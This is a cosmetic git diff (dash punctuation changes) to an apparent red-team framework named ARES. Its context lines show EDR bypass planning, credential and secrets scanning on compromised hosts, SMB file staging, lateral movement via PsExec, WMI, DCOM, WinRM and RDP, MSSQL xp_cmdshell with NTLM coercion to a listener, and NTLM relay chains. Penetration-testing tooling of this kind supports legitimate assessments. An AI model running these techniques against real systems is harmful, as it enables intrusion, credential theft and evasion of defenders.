f"{len(low_noise)} low-noise, {len(medium)} medium-noise. "
f"Recommended first approach: {viable[0].name}. "
f"This technique targets: {', '.join(viable[0].target_vendor[:3])}. "
- "Apply techniques in order of OPSEC level — lowest noise first."
+ "Apply techniques in order of OPSEC level - lowest noise first."
),
severity=Severity.HIGH,
mitre_technique="T1562.001",
@@ -853,12 +853,12 @@ class EDRAdaptiveBypassModule(BaseModule):
# Blind spots finding
if blinds:
self.finding(
- title=f"EDR Blind Spots for {edr_vendor} — {len(blinds)} Coverage Gaps",
+ title=f"EDR Blind Spots for {edr_vendor} - {len(blinds)} Coverage Gaps",
description=(
f"Identified {len(blinds)} telemetry gaps in {edr_vendor} coverage. "
f"Exploiting blind spots is more OPSEC-safe than active bypass techniques "
f"because no EDR hooks are touched. "
- f"Top gap: {blinds[0]['gap']} — {blinds[0]['detail'][:150]}"
+ f"Top gap: {blinds[0]['gap']} - {blinds[0]['detail'][:150]}"
),
severity=Severity.MEDIUM,
mitre_technique="T1562.006",
@@ -875,12 +875,12 @@ class EDRAdaptiveBypassModule(BaseModule):
# BYOVD warning finding
if byovd:
self.finding(
- title=f"BYOVD Techniques Available — {len(byovd)} Universal Kernel-Level Bypasses",
+ title=f"BYOVD Techniques Available - {len(byovd)} Universal Kernel-Level Bypasses",
description=(
"BYOVD (Bring Your Own Vulnerable Driver) techniques can disable ALL "
"user-mode and kernel-mode EDR hooks regardless of vendor. "
f"Available: {byovd[0].name}. "
- "HIGH NOISE — use only as last resort when user-mode techniques fail. "
+ "HIGH NOISE - use only as last resort when user-mode techniques fail. "
"Requires admin rights and may trigger Windows Event 7045."
),
severity=Severity.HIGH,
@@ -901,7 +901,7 @@ class EDRAdaptiveBypassModule(BaseModule):
# ══════════════════════════════════════════════════════════════════════════
- # Deep EDR Probe Methods — Real detection testing, not theoretical scoring
+ # Deep EDR Probe Methods - Real detection testing, not theoretical scoring
# ══════════════════════════════════════════════════════════════════════════
async def deep_probe(
@@ -912,12 +912,12 @@ class EDRAdaptiveBypassModule(BaseModule):
Run comprehensive EDR detection testing on a compromised Windows host.
Tests:
- 1. AMSI status — is AMSI active? Can AmsiScanBuffer be patched?
- 2. ETW providers — which ETW providers are active? Which can be blinded?
- 3. Sysmon config — extract Sysmon config from registry (shows monitoring rules)
- 4. ntdll hook detection — check if EDR hooked ntdll.dll syscall stubs
- 5. PPL status — is Protected Process Light enabled?
- 6. Credential Guard — is Credential Guard active?
+ 1. AMSI status - is AMSI active? Can AmsiScanBuffer be patched?
+ 2. ETW providers - which ETW providers are active? Which can be blinded?
+ 3. Sysmon config - extract Sysmon config from registry (shows monitoring rules)
+ 4. ntdll hook detection - check if EDR hooked ntdll.dll syscall stubs
+ 5. PPL status - is Protected Process Light enabled?
+ 6. Credential Guard - is Credential Guard active?
Requires: SSH/WinRM/SMB exec access to target (compromised host).
Returns detailed dict with each test result.
diff --git a/ares/modules/exfil/__init__.py b/ares/modules/exfil/__init__.py
index aecd145..ec7b5de 100644
--- a/ares/modules/exfil/__init__.py
+++ b/ares/modules/exfil/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.exfil
+ARES - modules.exfil
Exfiltration and data collection modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/exfil/secrets_scan.py b/ares/modules/exfil/secrets_scan.py
index 0b9b328..f20e3c9 100644
--- a/ares/modules/exfil/secrets_scan.py
+++ b/ares/modules/exfil/secrets_scan.py
@@ -1,16 +1,16 @@
"""
-ARES Exfil Module — Secrets Scanner (T1552 / T1083)
+ARES Exfil Module - Secrets Scanner (T1552 / T1083)
Two live execution paths:
- Linux/SSH — paramiko connect, run grep -rIl against /home /root /etc /opt /var/www,
+ Linux/SSH - paramiko connect, run grep -rIl against /home /root /etc /opt /var/www,
then grep each match for credential regex patterns, parse line hits.
- Windows/WMI — impacket WMIEXEC, run PowerShell Get-ChildItem | Select-String
+ Windows/WMI - impacket WMIEXEC, run PowerShell Get-ChildItem | Select-String
against common config paths, parse JSON output.
MITRE ATT&CK:
- T1552 — Unsecured Credentials
- T1552.001 — Credentials In Files
- T1083 — File and Directory Discovery
+ T1552 - Unsecured Credentials
+ T1552.001 - Credentials In Files
+ T1083 - File and Directory Discovery
"""
from __future__ import annotations
@@ -89,7 +89,7 @@ def _ssh_scan(target: str, username: str, password: str = "",
"ssh_host_key_unverified",
target=target,
risk=(
- "Host key not verified — MITM possible on untrusted networks. "
+ "Host key not verified - MITM possible on untrusted networks. "
"Pass known_hosts_file=<path> to enable strict verification."
),
)
@@ -188,7 +188,7 @@ def _wmi_scan(target: str, username: str, password: str = "",
)
class SecretsScan(BaseModule):
"""
- exfil.secrets_scan — Scan filesystem for hardcoded credentials, API keys, private keys, and connection strings
+ exfil.secrets_scan - Scan filesystem for hardcoded credentials, API keys, private keys, and connection strings
OPSEC: LOW
MITRE: "T1552", "T1552.001", "T1083"
@@ -217,7 +217,7 @@ class SecretsScan(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "exfil.secrets_scan requires 'target' — IP or hostname.",
+ "exfil.secrets_scan requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
diff --git a/ares/modules/exfil/smb_shares.py b/ares/modules/exfil/smb_shares.py
index 7cab645..a83c9dc 100644
--- a/ares/modules/exfil/smb_shares.py
+++ b/ares/modules/exfil/smb_shares.py
@@ -1,15 +1,15 @@
"""
-ARES Exfil Module — SMB Share Enumeration & Staging (T1039 / T1021.002)
+ARES Exfil Module - SMB Share Enumeration & Staging (T1039 / T1021.002)
Enumerates accessible SMB shares with impacket SMBConnection:
1. connect() to target on port 445
- 2. listShares() — get all share names
- 3. listPath(share, "*") — recursively scan each share for sensitive filenames
- 4. logoff() — clean disconnect
+ 2. listShares() - get all share names
+ 3. listPath(share, "*") - recursively scan each share for sensitive filenames
+ 4. logoff() - clean disconnect
MITRE ATT&CK:
- T1039 — Data from Network Shared Drive
- T1021.002 — Remote Services: SMB/Windows Admin Shares
+ T1039 - Data from Network Shared Drive
+ T1021.002 - Remote Services: SMB/Windows Admin Shares
"""
from __future__ import annotations
@@ -83,7 +83,7 @@ def _list_share_recursive(conn: Any, share: str, path: str = "*",
)
class SmbSharesExfil(BaseModule):
"""
- exfil.smb_shares — Enumerate accessible SMB shares and scan for sensitive files including configs, keys, and credential
+ exfil.smb_shares - Enumerate accessible SMB shares and scan for sensitive files including configs, keys, and credential
OPSEC: MEDIUM
MITRE: "T1039", "T1021.002"
@@ -112,7 +112,7 @@ class SmbSharesExfil(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "exfil.smb_shares requires 'target' — IP of Windows/Samba host.",
+ "exfil.smb_shares requires 'target' - IP of Windows/Samba host.",
module_id=self.MODULE_ID, field="target",
)
@@ -260,7 +260,7 @@ class SmbSharesExfil(BaseModule):
def _smb_enum_sync() -> tuple[list[str], list[str]]:
"""
- All blocking SMB operations in one sync function — runs in executor.
+ All blocking SMB operations in one sync function - runs in executor.
Wrapping in run_in_executor prevents freezing the event loop during
SMBConnection.login(), listShares(), and recursive listPath() calls.
"""
diff --git a/ares/modules/exfil/staged_collection.py b/ares/modules/exfil/staged_collection.py
index 4d90f25..118656f 100644
--- a/ares/modules/exfil/staged_collection.py
+++ b/ares/modules/exfil/staged_collection.py
@@ -51,7 +51,7 @@ _COLLECTION_PATTERNS = [
)
class StagedCollectionModule(BaseModule):
"""
- exfil.staged_collection — "Search for high-value files (credentials, keys, configs, backups
+ exfil.staged_collection - "Search for high-value files (credentials, keys, configs, backups
OPSEC: MEDIUM
MITRE: "T1119", "T1039", "T1552"
@@ -87,7 +87,7 @@ class StagedCollectionModule(BaseModule):
)
if not ctx.params.get("destination"):
raise ModuleValidationError(
- "exfil.staged_collection requires 'destination' — "
+ "exfil.staged_collection requires 'destination' - "
"UNC path or remote share to stage files to.",
module_id=self.MODULE_ID, field="destination",
)
diff --git a/ares/modules/lateral/__init__.py b/ares/modules/lateral/__init__.py
index c85ff7a..fa6bde1 100644
--- a/ares/modules/lateral/__init__.py
+++ b/ares/modules/lateral/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — lateral movement modules
+ARES - lateral movement modules
All lateral movement classes. Import from here:
diff --git a/ares/modules/lateral/dcom.py b/ares/modules/lateral/dcom.py
index 66d6dd6..f0b9691 100644
--- a/ares/modules/lateral/dcom.py
+++ b/ares/modules/lateral/dcom.py
@@ -5,15 +5,15 @@ MITRE: T1021.003 (Remote Services: Distributed Component Object Model)
Uses DCOM COM objects to execute commands on remote Windows hosts.
Three DCOM objects attempted in order (MMC20.Application is most reliable):
- 1. MMC20.Application — Document.ActiveView.ExecuteShellCommand
- 2. ShellWindows — Item(0).Document.Application.ShellExecute
- 3. ShellBrowserWindow — Document.Application.ShellExecute
+ 1. MMC20.Application - Document.ActiveView.ExecuteShellCommand
+ 2. ShellWindows - Item(0).Document.Application.ShellExecute
+ 3. ShellBrowserWindow - Document.Application.ShellExecute
All three are documented Microsoft COM objects present in default Windows
installations. No additional software or service is required on the target.
Requires: valid credentials with local admin rights on the target.
-OPSEC: MEDIUM — DCOM traffic on port 135 + dynamic RPC ports.
+OPSEC: MEDIUM - DCOM traffic on port 135 + dynamic RPC ports.
Creates process on target (visible in process list / Event ID 4688).
Less noisy than PsExec (no service creation / Event ID 7045).
@@ -69,14 +69,14 @@ class DCOMLateral(BaseLateralModule):
MODULE_NAME = "DCOM Lateral"
MODULE_DESCRIPTION = (
"DCOM lateral movement via MMC20.Application / ShellWindows COM objects "
- "(T1021.003) — stealthier than PsExec, no service creation"
+ "(T1021.003) - stealthier than PsExec, no service creation"
)
OPSEC_LEVEL = OpsecLevel.MEDIUM
REQUIRES = ["local_admin_creds"]
OUTPUTS = ["lateral_session", "command_output"]
MITRE_TECHNIQUES = ["T1021.003"]
MODULE_AUTHOR = "ARES Team <[email protected]>"
- MIN_NOISE_PROFILE = "normal" # blocked in stealth — creates remote process
+ MIN_NOISE_PROFILE = "normal" # blocked in stealth - creates remote process
PARAMS_MODEL = DCOMParams
async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":
@@ -254,11 +254,11 @@ class DCOMLateral(BaseLateralModule):
technique=LateralTechnique.DCOM,
source_host="operator", target_host=target,
username=username, domain=domain, success=False,
- error="impacket not installed — pip install ares-redteam[ad]",
+ error="impacket not installed - pip install ares-redteam[ad]",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
- # Parse credential — support cleartext and NTLM hash
+ # Parse credential - support cleartext and NTLM hash
lmhash, nthash = "", ""
password = secret
if ":" in secret and len(secret) in (65, 33):
@@ -345,14 +345,14 @@ class DCOMLateral(BaseLateralModule):
# All three methods exhausted
return False, "", (
- "All DCOM methods failed — target may not be running "
+ "All DCOM methods failed - target may not be running "
"MMC20/ShellWindows/ShellBrowserWindow, or firewall blocks DCOM"
)
except Exception as exc:
err = str(exc).lower()
if "access denied" in err or "rpc_s_access_denied" in err:
- return False, "", f"Access denied — insufficient privileges on {target}"
+ return False, "", f"Access denied - insufficient privileges on {target}"
if "logon failure" in err or "invalid credentials" in err:
return False, "", f"Authentication failed for {username}@{target}"
return False, "", str(exc)[:300]
diff --git a/ares/modules/lateral/modules.py b/ares/modules/lateral/modules.py
index 14a3da9..688a55c 100644
--- a/ares/modules/lateral/modules.py
+++ b/ares/modules/lateral/modules.py
@@ -3,11 +3,11 @@ ARES Lateral Movement Framework
Production-grade lateral movement modules.
Available techniques:
- PsExecLateral — SMB + RemComSvc / SCM (T1569.002)
- WmiExecLateral — WMI command execution (T1047)
- WinRMLateral — WinRM / PS-Remoting (T1021.006)
- SSHPivot — SSH ProxyJump / port forward (T1021.004)
- RDPLateral — RDP session hijack / new session (T1021.001)
+ PsExecLateral - SMB + RemComSvc / SCM (T1569.002)
+ WmiExecLateral - WMI command execution (T1047)
+ WinRMLateral - WinRM / PS-Remoting (T1021.006)
+ SSHPivot - SSH ProxyJump / port forward (T1021.004)
+ RDPLateral - RDP session hijack / new session (T1021.001)
All modules:
- Validate scope before any connection
@@ -101,7 +101,7 @@ class BaseLateralModule(BaseModule):
Subclasses **must** implement this method. The default raises
``NotImplementedError`` to surface unimplemented transports early.
"""
- raise NotImplementedError( # abstract — subclasses must override
+ raise NotImplementedError( # abstract - subclasses must override
f"{self.__class__.__name__} must implement move()"
)
@@ -171,7 +171,7 @@ class BaseLateralModule(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — "
+ f"{self.MODULE_ID} requires 'target' - "
"provide the IP or hostname of the remote host.",
module_id=self.MODULE_ID, field="target",
)
@@ -184,7 +184,7 @@ class BaseLateralModule(BaseModule):
)
if not (has_password or has_hash or has_vault):
raise ModuleValidationError(
- f"{self.MODULE_ID} requires credentials — "
+ f"{self.MODULE_ID} requires credentials - "
"pass 'password', 'nt_hash' (NTLM), or provide a vault credential.",
module_id=self.MODULE_ID, field="password",
)
@@ -193,7 +193,7 @@ class BaseLateralModule(BaseModule):
async def execute(self, ctx: "Any") -> "ModuleResult":
"""
ExecutionContext-based entry point (v0.9.0+).
- Pulls target, credentials, and params from ctx — including vault reveal.
+ Pulls target, credentials, and params from ctx - including vault reveal.
Subclasses inherit this; override only if custom logic is needed.
"""
from ares.modules.base import ModuleResult
@@ -381,7 +381,7 @@ class PsExecLateral(BaseLateralModule):
"""
PsExec-style lateral movement via SMB + Service Control Manager.
Creates a temporary service, executes command, removes service.
- MITRE T1569.002 — Service Execution.
+ MITRE T1569.002 - Service Execution.
"""
MODULE_ID = "lateral.psexec"
MODULE_NAME = "PsExec Lateral"
@@ -414,7 +414,7 @@ class PsExecLateral(BaseLateralModule):
target = sanitize_hostname(getattr(ctx, "target", "") or getattr(ctx, "params", {}).get("target", ""))
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
- blockers.append("PsExec SCM service installation generates Event ID 7045 — strictly blocked under STEALTH profile")
+ blockers.append("PsExec SCM service installation generates Event ID 7045 - strictly blocked under STEALTH profile")
score = 0.05
risk = "critical_alarm"
@@ -457,7 +457,7 @@ class PsExecLateral(BaseLateralModule):
source_host="operator", target_host=target,
username=username, domain=domain,
success=False,
- error="impacket not installed — run: pip install impacket",
+ error="impacket not installed - run: pip install impacket",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
@@ -522,7 +522,7 @@ class PsExecLateral(BaseLateralModule):
try:
scmr.hRStartServiceW(dce, svc_handle)
except Exception:
- pass # service process exits immediately, may raise — that's OK
+ pass # service process exits immediately, may raise - that's OK
# Step 5: read output file via SMB
import time as _time
@@ -548,7 +548,7 @@ class PsExecLateral(BaseLateralModule):
except Exception as exc:
err = str(exc).lower()
if "access_denied" in err or "access denied" in err:
- # Valid creds but no SCM access — try just verifying ADMIN$ access
+ # Valid creds but no SCM access - try just verifying ADMIN$ access
try:
smb2 = SMBConnection(target, target, timeout=10)
smb2.login(username, password, domain, lmhash, nthash)
@@ -622,8 +622,8 @@ class PsExecLateral(BaseLateralModule):
class WmiExecLateral(BaseLateralModule):
"""
WMI-based lateral movement via Win32_Process.Create.
- Stealthier than PsExec — no service creation, less EDR detectable.
- MITRE T1047 — Windows Management Instrumentation.
+ Stealthier than PsExec - no service creation, less EDR detectable.
+ MITRE T1047 - Windows Management Instrumentation.
"""
MODULE_ID = "lateral.wmiexec"
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -774,7 +774,7 @@ class WmiExecLateral(BaseLateralModule):
except Exception as exc:
err = str(exc).lower()
if "access denied" in err or "access_denied" in err:
- return False, "", f"Access denied — insufficient privileges on {target}"
+ return False, "", f"Access denied - insufficient privileges on {target}"
if "logon failure" in err or "invalid credentials" in err:
return False, "", f"Authentication failed for {username}@{target}"
return False, "", str(exc)[:300]
@@ -833,7 +833,7 @@ class WinRMLateral(BaseLateralModule):
"""
WinRM / PowerShell Remoting lateral movement.
Uses port 5985 (HTTP) or 5986 (HTTPS).
- MITRE T1021.006 — Remote Services: Windows Remote Management.
+ MITRE T1021.006 - Remote Services: Windows Remote Management.
"""
MODULE_ID = "lateral.winrm"
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -928,7 +928,7 @@ class WinRMLateral(BaseLateralModule):
technique=LateralTechnique.WINRM,
source_host="operator", target_host=target,
username=username, domain=domain, success=False,
- error="pywinrm not installed — run: pip install pywinrm",
+ error="pywinrm not installed - run: pip install pywinrm",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
except Exception as exc:
@@ -959,7 +959,7 @@ class SSHPivot(BaseLateralModule):
- Direct command execution (T1021.004)
- Dynamic SOCKS5 proxy via SSH -D
- Port forwarding via SSH -L / -R
- MITRE T1021.004 — Remote Services: SSH.
+ MITRE T1021.004 - Remote Services: SSH.
"""
MODULE_ID = "lateral.ssh_pivot"
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -986,13 +986,13 @@ class SSHPivot(BaseLateralModule):
known_hosts_file = kwargs.get("known_hosts_file") or None
client = paramiko.SSHClient()
if known_hosts_file:
- # Strict host-key verification — recommended for production use.
+ # Strict host-key verification - recommended for production use.
client.set_missing_host_key_policy(paramiko.RejectPolicy())
client.load_host_keys(known_hosts_file)
logger.info("ssh_host_key_verification_enabled",
target=target, known_hosts=known_hosts_file)
else:
- # AutoAddPolicy — operator explicitly accepted MITM risk by not
+ # AutoAddPolicy - operator explicitly accepted MITM risk by not
# supplying known_hosts_file. Acceptable when pivoting through
# already-compromised internal hosts on an isolated lab network.
# NEVER use on untrusted networks (hotel wifi, shared VPN, etc.).
@@ -1001,7 +1001,7 @@ class SSHPivot(BaseLateralModule):
"ssh_host_key_unverified",
target=target,
risk=(
- "Host key not verified — MITM possible on untrusted networks. "
+ "Host key not verified - MITM possible on untrusted networks. "
"Provide known_hosts_file=<path> to enable strict verification."
),
)
@@ -1076,7 +1076,7 @@ class SSHPivot(BaseLateralModule):
username=username,
domain=domain,
success=False,
- error="paramiko not installed — run: pip install paramiko",
+ error="paramiko not installed - run: pip install paramiko",
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
except Exception as exc:
@@ -1131,13 +1131,13 @@ class SSHPivot(BaseLateralModule):
class RDPLateral(BaseLateralModule):
"""
RDP-based lateral movement.
- MITRE T1021.001 — Remote Desktop Protocol.
- Note: High noise — triggers RDP EventID 4624/4625.
+ MITRE T1021.001 - Remote Desktop Protocol.
+ Note: High noise - triggers RDP EventID 4624/4625.
"""
MODULE_ID = "lateral.rdp"
MODULE_AUTHOR = "ARES Team <[email protected]>"
MODULE_NAME = "RDP Lateral"
- MODULE_DESCRIPTION = "RDP lateral movement (T1021.001) — high noise"
+ MODULE_DESCRIPTION = "RDP lateral movement (T1021.001) - high noise"
OPSEC_LEVEL = OpsecLevel.HIGH_NOISE
REQUIRES = ["rdp_access", "domain_creds"]
OUTPUTS = ["lateral_session"]
@@ -1179,7 +1179,7 @@ class RDPLateral(BaseLateralModule):
)
async def validate(self, ctx: "Any") -> None:
- """RDP lateral blocked in STEALTH — triggers EventID 4624/4625 immediately."""
+ """RDP lateral blocked in STEALTH - triggers EventID 4624/4625 immediately."""
await super().validate(ctx)
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
@@ -1189,7 +1189,7 @@ class RDPLateral(BaseLateralModule):
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "lateral.rdp is blocked in STEALTH profile — "
+ "lateral.rdp is blocked in STEALTH profile - "
"RDP authentication generates EventID 4624/4625 immediately. "
"Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -1230,7 +1230,7 @@ class RDPLateral(BaseLateralModule):
sock.close()
return False, "", f"Port {port} closed (errno {result})"
- # Read RDP cookie/banner — RDP sends x.224 Connection Request
+ # Read RDP cookie/banner - RDP sends x.224 Connection Request
# Just confirm the port is open and responding
try:
# Send minimal RDP preamble and check response
@@ -1250,7 +1250,7 @@ class RDPLateral(BaseLateralModule):
return False, "", "Unexpected banner response"
except (OSError, socket.timeout):
sock.close()
- # Port open but no valid response — still likely RDP
+ # Port open but no valid response - still likely RDP
return True, "rdp_port_open", ""
except (OSError, socket.timeout) as exc:
@@ -1291,5 +1291,5 @@ class RDPLateral(BaseLateralModule):
duration_ms=round((time.monotonic() - t0) * 1000, 2),
)
-# Backward-compat alias — canonical name is WmiExecLateral
+# Backward-compat alias - canonical name is WmiExecLateral
WMIExecLateral = WmiExecLateral # noqa: N816
diff --git a/ares/modules/lateral/mssql.py b/ares/modules/lateral/mssql.py
index 96c8885..79c61b8 100644
--- a/ares/modules/lateral/mssql.py
+++ b/ares/modules/lateral/mssql.py
@@ -1,17 +1,17 @@
"""
-MSSQL Lateral Movement — lateral.mssql
-MITRE: T1505.001 — SQL Stored Procedures (xp_cmdshell)
+MSSQL Lateral Movement - lateral.mssql
+MITRE: T1505.001 - SQL Stored Procedures (xp_cmdshell)
Lateral movement via Microsoft SQL Server exploitation:
- 1. xp_cmdshell — enable via sp_configure and execute OS commands as SQL service account
- 2. Linked server hop — lateral movement through SQL server trust relationships
- 3. EXECUTE AS LOGIN — impersonate SA or privileged login
- 4. UNC path injection — coerce NTLM auth to attacker listener via xp_dirtree/bulk insert
+ 1. xp_cmdshell - enable via sp_configure and execute OS commands as SQL service account
+ 2. Linked server hop - lateral movement through SQL server trust relationships
+ 3. EXECUTE AS LOGIN - impersonate SA or privileged login
+ 4. UNC path injection - coerce NTLM auth to attacker listener via xp_dirtree/bulk insert
Prerequisites: SQL credentials (SA or db_owner). Port 1433 accessible.
KnowledgeBase entry kb-mssql already exists.
-OPSEC: MEDIUM — SQL queries appear legitimate in server logs.
+OPSEC: MEDIUM - SQL queries appear legitimate in server logs.
xp_cmdshell re-enable is logged by SQL Audit if enabled.
"""
from __future__ import annotations
@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.lateral.mssql")
)
class MSSQLModule(BaseModule):
"""
- lateral.mssql — MSSQL lateral movement via xp_cmdshell, linked servers, EXECUTE AS LOGIN, and UNC path NTLM coer
+ lateral.mssql - MSSQL lateral movement via xp_cmdshell, linked servers, EXECUTE AS LOGIN, and UNC path NTLM coer
OPSEC: MEDIUM
MITRE: "T1505.001"
@@ -77,13 +77,13 @@ class MSSQLModule(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "lateral.mssql requires 'target' — IP or hostname of MSSQL server.",
+ "lateral.mssql requires 'target' - IP or hostname of MSSQL server.",
module_id=self.MODULE_ID, field="target",
)
username = ctx.params.get("username", "") or ctx.params.get("sql_user", "")
if not username:
raise ModuleValidationError(
- "lateral.mssql requires SQL credentials — pass 'username' and 'password'. "
+ "lateral.mssql requires SQL credentials - pass 'username' and 'password'. "
"Use 'sa' or a db_owner account for xp_cmdshell.",
module_id=self.MODULE_ID, field="username",
)
@@ -357,7 +357,7 @@ class MSSQLModule(BaseModule):
def _enum_server_sync(self, target: str, username: str, password: str,
port: int) -> dict:
- """Connect to MSSQL and enumerate server info. Sync — runs in executor."""
+ """Connect to MSSQL and enumerate server info. Sync - runs in executor."""
try:
import impacket.tds as tds # type: ignore[import]
@@ -399,7 +399,7 @@ class MSSQLModule(BaseModule):
return info
except ImportError:
- # impacket TDS not available — try pymssql fallback
+ # impacket TDS not available - try pymssql fallback
return self._enum_pymssql(target, username, password, port)
except Exception as exc:
raise # propagate to async wrapper for _classify_error
@@ -425,7 +425,7 @@ class MSSQLModule(BaseModule):
conn.close()
return info
except ImportError:
- return {"error": "No MSSQL driver available — pip install pymssql"}
+ return {"error": "No MSSQL driver available - pip install pymssql"}
except Exception as exc:
raise # propagate to async wrapper for _classify_error
@@ -493,7 +493,7 @@ class MSSQLModule(BaseModule):
try:
cur.execute(f"EXEC xp_dirtree '\\\\{listener_ip}\\share'")
except Exception:
- pass # expected — NTLM sent before this fails
+ pass # expected - NTLM sent before this fails
conn.close()
return True
except Exception as exc:
diff --git a/ares/modules/lateral/ntlm_relay.py b/ares/modules/lateral/ntlm_relay.py
index f7772a9..51cb325 100644
--- a/ares/modules/lateral/ntlm_relay.py
+++ b/ares/modules/lateral/ntlm_relay.py
@@ -1,5 +1,5 @@
"""
-lateral.ntlm_relay — NTLM Relay Attack Automation
+lateral.ntlm_relay - NTLM Relay Attack Automation
MITRE: T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)
Full relay attack chain:
@@ -13,7 +13,7 @@ Requires: domain creds (for LDAP operations), network access to target DCs.
This module orchestrates the full chain. Individual steps can also be
called independently for manual operation.
-OPSEC: HIGH — coercion triggers Event ID 5145, relay triggers LDAP writes.
+OPSEC: HIGH - coercion triggers Event ID 5145, relay triggers LDAP writes.
Use only in NORMAL or AGGRESSIVE noise profiles.
Dependencies: impacket (LDAP, Kerberos, SMB), ldap3 (LDAP signing check)
@@ -92,7 +92,7 @@ class RBCDResult:
)
class NTLMRelayModule(BaseModule):
"""
- lateral.ntlm_relay — Full NTLM relay attack automation
+ lateral.ntlm_relay - Full NTLM relay attack automation
Chain: discover_targets → coerce_auth → relay_to_ldap → rbcd_attack
@@ -137,7 +137,7 @@ class NTLMRelayModule(BaseModule):
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "lateral.ntlm_relay is blocked in STEALTH profile — "
+ "lateral.ntlm_relay is blocked in STEALTH profile - "
"coercion and LDAP writes are HIGH_NOISE operations.",
module_id=self.MODULE_ID, field="noise_profile",
)
@@ -244,9 +244,9 @@ class NTLMRelayModule(BaseModule):
Run the NTLM relay attack chain.
Modes:
- "discover" — only discover relay targets (safe, no writes)
- "coerce" — discover + attempt coercion (triggers auth)
- "full" — discover + coerce + relay + RBCD (full attack)
+ "discover" - only discover relay targets (safe, no writes)
+ "coerce" - discover + attempt coercion (triggers auth)
+ "full" - discover + coerce + relay + RBCD (full attack)
"""
dc = sanitize_hostname(dc)
await self.before_request(dc, "ldap")
@@ -279,7 +279,7 @@ class NTLMRelayModule(BaseModule):
severity=Severity.INFO,
mitre_technique="T1557.001", mitre_tactic="Credential Access",
evidence=raw["relay_targets"], host=dc, confidence=0.95,
- remediation="Good — signing enforcement prevents relay attacks.",
+ remediation="Good - signing enforcement prevents relay attacks.",
)
return self._findings[:], raw
@@ -709,7 +709,7 @@ class NTLMRelayModule(BaseModule):
desc = conn.result.get("description", "")
if "unwillingToPerform" in str(desc):
result.error = (
- "ms-DS-MachineAccountQuota is 0 — cannot create machine account. "
+ "ms-DS-MachineAccountQuota is 0 - cannot create machine account. "
"This is a hardened configuration."
)
else:
diff --git a/ares/modules/lateral/smb_relay.py b/ares/modules/lateral/smb_relay.py
index 68a7f63..f7b99ef 100644
--- a/ares/modules/lateral/smb_relay.py
+++ b/ares/modules/lateral/smb_relay.py
@@ -8,7 +8,7 @@ to NTLM relay attacks (NTLM authentication captured from one host
can be relayed to authenticate against this host without knowing the password).
This module is DETECTION ONLY.
-It checks the SMB dialect negotiation response to read the signing flags —
+It checks the SMB dialect negotiation response to read the signing flags -
exactly what tools like nmap (smb-security-mode script) and
Nessus (plugin 57608) do during a security assessment.
@@ -25,7 +25,7 @@ Also optionally checks LDAP signing (ldap_signing param=True):
- Queries LDAP rootDSE serverName attribute
- Reports if LDAP signing is not enforced (prerequisite for LDAP relay)
-OPSEC: LOW — one TCP connection to port 445, reads negotiate response,
+OPSEC: LOW - one TCP connection to port 445, reads negotiate response,
immediately disconnects. No authentication attempted.
"""
from __future__ import annotations
@@ -53,7 +53,7 @@ from ares.sdk import (
logger = get_logger("ares.modules.lateral.smb_relay")
-# SMB2 NEGOTIATE request — minimal valid packet to elicit a response
+# SMB2 NEGOTIATE request - minimal valid packet to elicit a response
# Header: Protocol ID + StructureSize + CreditCharge + Status + Command=0 (NEGOTIATE)
# Body: StructureSize + DialectCount=3 + SecurityMode=0 + Reserved + Capabilities
# ClientGuid + NegotiateContextOffset + NegotiateContextCount
@@ -127,7 +127,7 @@ async def _check_smb_signing(target: str, port: int = 445, timeout: float = 8.0)
writer.write(_SMB2_NEGOTIATE)
await writer.drain()
- # Read response — SMB2 response is at least 68 bytes (4 NetBIOS + 64 SMB2 header)
+ # Read response - SMB2 response is at least 68 bytes (4 NetBIOS + 64 SMB2 header)
data = await asyncio.wait_for(reader.read(256), timeout=timeout)
writer.close()
try:
@@ -189,7 +189,7 @@ class SMBRelayAuditModule(BaseModule):
MODULE_NAME = "SMB Signing Audit (Relay Prerequisite)"
MODULE_CATEGORY = "lateral"
MODULE_DESCRIPTION = (
- "Check whether SMB signing is required on target hosts — "
+ "Check whether SMB signing is required on target hosts - "
"signing not required = potential NTLM relay attack surface"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -209,7 +209,7 @@ class SMBRelayAuditModule(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "lateral.smb_relay requires 'target' — IP or subnet to audit.",
+ "lateral.smb_relay requires 'target' - IP or subnet to audit.",
module_id=self.MODULE_ID, field="target",
)
@@ -370,7 +370,7 @@ class SMBRelayAuditModule(BaseModule):
if relay_candidates:
self.finding(
title=(
- f"SMB Signing Not Required — "
+ f"SMB Signing Not Required - "
f"{len(relay_candidates)} Host(s) Vulnerable to NTLM Relay"
),
description=(
@@ -420,7 +420,7 @@ class SMBRelayAuditModule(BaseModule):
description=(
f"{len(signing_disabled)} host(s) have SMB signing disabled entirely "
